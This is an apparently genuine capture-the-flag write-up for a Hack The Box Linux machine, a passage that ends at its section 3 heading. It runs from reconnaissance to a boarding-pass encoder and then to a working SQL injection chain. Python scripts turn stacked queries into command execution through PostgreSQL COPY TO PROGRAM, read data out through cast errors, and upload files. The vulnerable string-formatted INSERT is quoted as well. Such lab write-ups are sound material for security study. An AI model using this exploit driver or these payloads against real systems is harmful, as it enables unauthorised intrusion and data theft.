Linux

Hack The Box - HTB DutyBound Medium - Weekly - October 24th, 2026

Hack The Box - HTB DutyBound  Medium - Weekly - October 24th, 2026

  • Target: <TARGET_IP> (dutybound.htb / vhost airsnacks.htb)
  • OS / Difficulty: Linux · Medium
  • Date: 2026-10-29
  • Attacker VPN IP: <ATTACKER_IP>

0. Lab setup

HTB's VPN tunnel can silently black-hole large outbound packets at the default 1500 MTU
(TLS, big POST bodies). Dropped it to 1300 up front, and mapped the vhosts:

sudo ip link set dev tun0 mtu 1300
echo "<TARGET_IP> dutybound.htb airsnacks.htb" | sudo tee -a /etc/hosts

1. Recon

Port scan

nmap -sT -T4 --min-rate 1000 -p- <TARGET_IP> -oN nmap/allports.txt
nmap -sV -sC -p22,80,443 <TARGET_IP> -oN nmap/services.txt
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.18   (Ubuntu 22.04)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)   -> redirects to https://airsnacks.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)   ssl-cert CN=airsnacks.htb

Port 80 redirects to https://airsnacks.htb/ and the TLS certificate's CN is
airsnacks.htb — so the real application is served on the airsnacks.htb vhost.
nginx is just a reverse proxy.

Web application

https://airsnacks.htb is "AirSnacks Self-Checkout" — a duty-free kiosk web app
(Flask; Set-Cookie: session=…, Vary: Cookie). The flow, from /static/app.js:

  • /browse — product catalogue, each item has a data-sku
  • POST /cart/add {"sku": "..."} — add to cart
  • POST /checkout/boarding-pass/verify {"raw": "<barcode>"} — scan a boarding pass

The last endpoint parses an IATA BCBP (Bar-Coded Boarding Pass, format "M") and uses
it to decide duty-free eligibility. That parser is the attack surface.


2. The BCBP parser & the injection point

Getting a well-formed boarding pass

Probing the endpoint:

{"raw":""}                → {"error":"CART_EMPTY"}            # needs a cart first
<valid mandatory only>    → {"error":"BCBP_ERR_CONDITIONAL_REQUIRED","item":6}

An IATA M1 BCBP is fixed-width: a 58-byte mandatory block, then a 2-hex "item 6" length,
then a conditional/variable block (version header + "unique" + "repeated" structs + a
trailing "for airline use" free-text field).

Hand-counting these fields is error-prone, so I wrote a small encoder that keeps the
mandatory block at exactly 58 bytes, sizes every conditional sub-field so the parser and
validator accept it, and exposes the one field I care about — the "for airline use" text:

scripts/bcbp.py

#!/usr/bin/env python3
# Minimal IATA M1 BCBP encoder. Lets us control the conditional block and
# the "for airline use" free-text field exactly (that's the SQLi sink).
import sys

def fit(s, n):
    s = str(s)
    return (s + " " * n)[:n]

def build(airline_use="", issuer="AC ", version="5",
          name="DESMARAIS/LUC", pnr="ABC123", frm="YUL", to="FRA",
          carrier="AC", flight="0834", date="326", comp="J",
          seat="001A", seq="0025", status="1"):
    # Mandatory (58 chars)
    mand = "M" + "1"
    mand += fit(name, 20)
    mand += "E"
    mand += fit(pnr, 7)
    mand += fit(frm, 3) + fit(to, 3) + fit(carrier, 3)
    mand += fit(flight, 5) + fit(date, 3) + comp + fit(seat, 4)
    mand += fit(seq, 5) + status
    assert len(mand) == 58, len(mand)

    # Unique conditional block (per IATA): fields after the repeated-size byte
    unique = ""
    unique += "0"              # passenger description
    unique += "O"              # source of check-in
    unique += "O"              # source of BP issuance
    unique += "6225"           # date of issue of BP (Julian w/ year)
    unique += "B"              # document type
    unique += fit(issuer, 3)   # airline designator of BP issuer
    unique += fit("", 13)      # baggage tag license plate
    unique_sz = "%02X" % len(unique)

    # Repeated conditional block (per-leg); keep the standard fields
    repeated = ""
    repeated += fit("014", 3)  # airline numeric code
    repeated += fit("1234567890", 10)  # document serial
    repeated += " "            # selectee
    repeated += "0"            # international doc verification
    repeated += fit(carrier, 3)  # marketing carrier
    repeated += fit(carrier, 3)  # FF airline
    repeated += fit("", 16)    # FF number
    repeated += " "            # ID/AD
    repeated += fit("", 3)     # free baggage allowance
    repeated += "0"            # fast track
    repeated_sz = "%02X" % len(repeated)

    # Variable section = version header + unique + repeated + AIRLINE USE
    var = ">" + version + unique_sz + unique + repeated_sz + repeated + airline_use
    item6 = "%02X" % len(var)
    return mand + item6 + var

if __name__ == "__main__":
    au = sys.argv[1] if len(sys.argv) > 1 else ""
    sys.stdout.write(build(airline_use=au))

A pass built this way is accepted and returns a signed eligibility token:

{"audit_ref":"aud_…","dest":"FRA","regime":"OFF_AIRPORT","exempt":false,
 "eligibility_token":"eyJhbGciOiJIUzI1Ni…"}

SQL injection

Putting a single quote in the airline-use field returns a leaked query:

unterminated quoted string at or near "''')"
LINE 1: ...LUC', 'AC', '0834', '326', 'YUL', 'FRA', 'AC', '', 133, ''')

Our value is the last single-quoted literal of an INSERT. That is already enough to
exploit blindly, but to be certain of the sink I later read the application's own source.

Where this source comes from, and why it's in this section.
At this point in the attack I only have the blind error message above — I cannot read
files on the server yet. The Python below was retrieved later, once I had command
execution as postgres (see §3). I'm showing it here, out of chronological order, because
it explains why the injection exists; just know that everything in this box quote was
obtained after §3, not before it.

The kiosk web app is a Flask package that gunicorn serves (found while enumerating as
postgres — ps aux shows gunicorn … dcs_bridge.wsgi:app). Its code lives at:

The directory is world-readable (0755), so even the low-privileged postgres account can
read it. I pulled the file with the driver from §2:

The relevant function in /opt/vrs/airsnacksdf/dcs_bridge/audit.py — the exact sink the
/checkout/boarding-pass/verify endpoint calls after parsing the pass — is:

def record_export_evidence(bp, raw):
    conn = _conn()
    audit_ref = "aud_" + uuid4().hex[:12]
    try:
        cur = conn.cursor()
        sql = (
            "INSERT INTO bp_scan_audit "
            "(audit_ref, kiosk_id, ts, pnr, pax_name, carrier, flight_no, "
            " dep_julian, origin, dest, ff_carrier, ff_number, raw_len, airline_use) "
            "VALUES ('%s', '%s', now(), '%s', '%s', '%s', '%s', '%s', "
            "'%s', '%s', '%s', '%s', %d, '%s')"
            % (audit_ref, KIOSK_ID, bp.pnr.strip(), bp.pax_name.rstrip(),
               bp.carrier.strip(), bp.flight_no.strip(), bp.julian,
               bp.origin, bp.dest, bp.ff_carrier.strip(), bp.ff_number.strip(),
               len(raw), bp.airline_use)         # <-- last %s = OUR airline-use field
        )
        cur.execute(sql)                          # <-- query built by string %-format, then run
        conn.commit()
        return audit_ref
    except psycopg2.Error as e:
        conn.rollback()
        raise DcsError(str(e))                    # <-- DB error text is returned to us (read channel)
    finally:
        _pool.putconn(conn)

Reading it line by line explains every behaviour seen from the outside:

  • The query is assembled by Python %-formatting ("… '%s' …" % (…)) and only then
    handed to cur.execute(sql). The values are baked into the SQL text, not passed as
    parameters — that is the vulnerability.
  • The 14th placeholder maps to bp.airline_use, which is the parser's trailing
    "for airline use" conditional field — the one byte-range of the boarding pass we fully
    control. The other placeholders (pnr, carrier, origin, …) are each validated by
    regexes in validator.py, but airline_use is never validated, so it is the only
    field that can carry quotes and SQL. That matches the leaked error: our ' landed in the
    final literal.
  • cur.execute(sql) with psycopg runs the whole string, so ;-separated stacked
    statements
    execute — this is what lets us append arbitrary SQL after breaking out.
  • On a DB error the handler does raise DcsError(str(e)), and app.py returns that text to
    the client as the JSON detail field. That is precisely the error-based read channel
    we abuse with cast(<expr> AS int).

So the break-out payload placed in the airline-use field is:

x'); <STATEMENT> ; --

which closes the '…' literal and its ) , runs our statement, and comments out the
original trailing ').

Error-based read channel

The app only returns audit_ref/token on success, so I exfiltrate via type-cast errors —
wrap any value in cast(<expr> AS int) and the integer-parse error echoes the string:

x'); SELECT cast(current_user as int); --   → "airsnacks_app"
x'); SELECT cast(version()    as int); --   → "PostgreSQL 18.6 (Ubuntu …)"

Facts: current_user = airsnacks_app, not superuser, PostgreSQL 18.6.

The driver

All of the above (plus the RCE and file-upload below) is wrapped in one driver. run()
sends a single stacked payload; shell() runs an arbitrary OS command and returns its
output through the cast-error channel; put() uploads a local file. The key constraint is
that BCBP "item 6" is only 2 hex digits, so the whole variable section — and therefore
every payload — must stay under 256 bytes; long commands and files are base64-chunked
(≤80 chars per request) into a file on the target and reassembled server-side.

scripts/sqli.py

#!/usr/bin/env python3
# Drive the BCBP airline_use SQLi -> COPY TO PROGRAM RCE as postgres.
# BCBP item6 is a 2-hex length => the variable section (hence each payload)
# must stay < 256 chars. So long commands are base64-chunked to a file,
# then decoded & run server-side.
import sys, json, re, base64, urllib3, requests
sys.path.insert(0, "/home/kali/Desktop/htb/DutyBound/scripts")
import bcbp
urllib3.disable_warnings()

BASE = "https://airsnacks.htb"
s = requests.Session(); s.verify = False

def new_cart():
    s.post(f"{BASE}/cart/add", json={"sku": "BER-PBR-4"})

def run(sql):
    """Send one stacked-query payload. Returns parsed JSON (or detail text)."""
    au = "x'); " + sql + " ; -- "
    raw = bcbp.build(airline_use=au)
    r = s.post(f"{BASE}/checkout/boarding-pass/verify", json={"raw": raw})
    try:
        return r.json()
    except Exception:
        return {"_raw": r.text, "_status": r.status_code}

def _prog(cmd):
    """One COPY TO PROGRAM stacked statement running `cmd` via /bin/sh."""
    new_cart()
    return run("COPY (SELECT 1) TO PROGRAM $$" + cmd + "$$")

def shell(cmd, read=True):
    """Run an arbitrary (possibly long) command as postgres; return stdout+stderr.
    Command is base64-chunked into /tmp/c, decoded to /tmp/r.sh, executed."""
    b64 = base64.b64encode(cmd.encode()).decode()
    _prog(": > /tmp/c")                       # truncate chunk file
    for i in range(0, len(b64), 80):          # keep each payload < 256
        chunk = b64[i:i+80]
        _prog("printf %s " + chunk + " >> /tmp/c")
    _prog("base64 -d /tmp/c > /tmp/r.sh; bash /tmp/r.sh > /tmp/o 2>&1")
    if not read:
        return None
    new_cart()
    j = run("DROP TABLE IF EXISTS r;CREATE TEMP TABLE r(c text);"
            "COPY r FROM PROGRAM $$cat /tmp/o$$;"
            "SELECT cast((SELECT string_agg(c,chr(10)) FROM r)as int)")
    d = j.get("detail", "")
    m = re.search(r'invalid input syntax for type integer: "(.*)"', d, re.S)
    return m.group(1) if m else "(no output)  " + json.dumps(j)

def put(local, remote):
    """Upload a local file to the target by base64-chunking (no egress needed)."""
    data = open(local, "rb").read()
    b64 = base64.b64encode(data).decode()
    _prog(": > /tmp/b64")
    for i in range(0, len(b64), 80):
        _prog("printf %s " + b64[i:i+80] + " >> /tmp/b64")
    _prog("base64 -d /tmp/b64 > " + remote)
    return len(data)

if __name__ == "__main__":
    print(shell(sys.argv[1]))

3. RCE as postgres